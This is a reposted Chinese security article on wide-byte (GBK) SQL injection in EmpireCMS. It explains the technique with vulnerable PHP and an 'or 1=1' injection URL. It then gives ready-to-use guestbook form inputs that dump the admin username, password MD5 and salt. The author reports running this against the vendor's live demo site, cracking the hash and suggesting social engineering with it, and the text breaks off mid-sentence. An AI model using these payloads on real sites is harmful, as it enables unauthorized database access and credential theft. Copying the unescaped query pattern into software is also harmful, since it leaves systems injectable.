频道栏目
首页 > 安全 > 网站安全 > 正文

帝国CMS系统注入漏洞分析

2011-05-03 10:54:40           
收藏   我要投稿

在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1 and 1=1/*
http://www.hackest.cn/article.php?id=1 and 1=2/*
这个经典的判断目标是否存在注入的例子就是单字节注入。
说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES GBK"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[user]); $pass=mysql_escape_string($_GET[pass]); $sql="select * from cms_user where username=$user and password=$pass"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?>

则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * from cms_user where username=運or 1=1 limit 1,1# and password="

---------------------------------------------------------------------------------------
以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^
---------------------------------------------------------------------------------------

二、实践

理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

//权限 if($gbr[groupid]) { include("../../class/user.php");

 

$user=islogin(); include("../../class/MemberLevel.php"); if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level]) echo"<script>alert(您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!);history.go(-1);</script>"exit(); esetcookie("gbookbid",$bid,0); $bname=$gbr[bname]; $search="&bid=$bid"$page=(int)$_GET[page]; $start=(int)$_GET[start]; $line=12;//每页显示条数 $page_line=12;//每页显示链接数 $offset=$start+$page*$line;//总偏移量 $totalnum=(int)$_GET[totalnum]; if($totalnum$num=$totalnumelse $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid=$bid and checked=0"$num=$empire->gettotal($totalquery);//取得总条数 $search.="&totalnum=$num"$query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid=$bid and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊! $query=$query." order by lyid desc limit $offset,$line"$sql=$empire->query($query); $listpage=page1($num,$line,$page_line,$start,$page,$search); $url="<a href=../../../../>".$fun_r[index]."</a> > ".$fun_r[saygbook]; ?> 

注 意注释部分! 作者:hackest [H.S.T.]
注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:
姓名:123縗
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
联系电话:随便写
留言内容:随便写

填好后如图2

\

提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。

\

wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!
如果您的浏览器没有自动跳转,请点击这里

而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没

上一篇:php关于宽字节编码的一个实验
下一篇:mysql使用udf提权的高级技巧
相关文章
图文推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站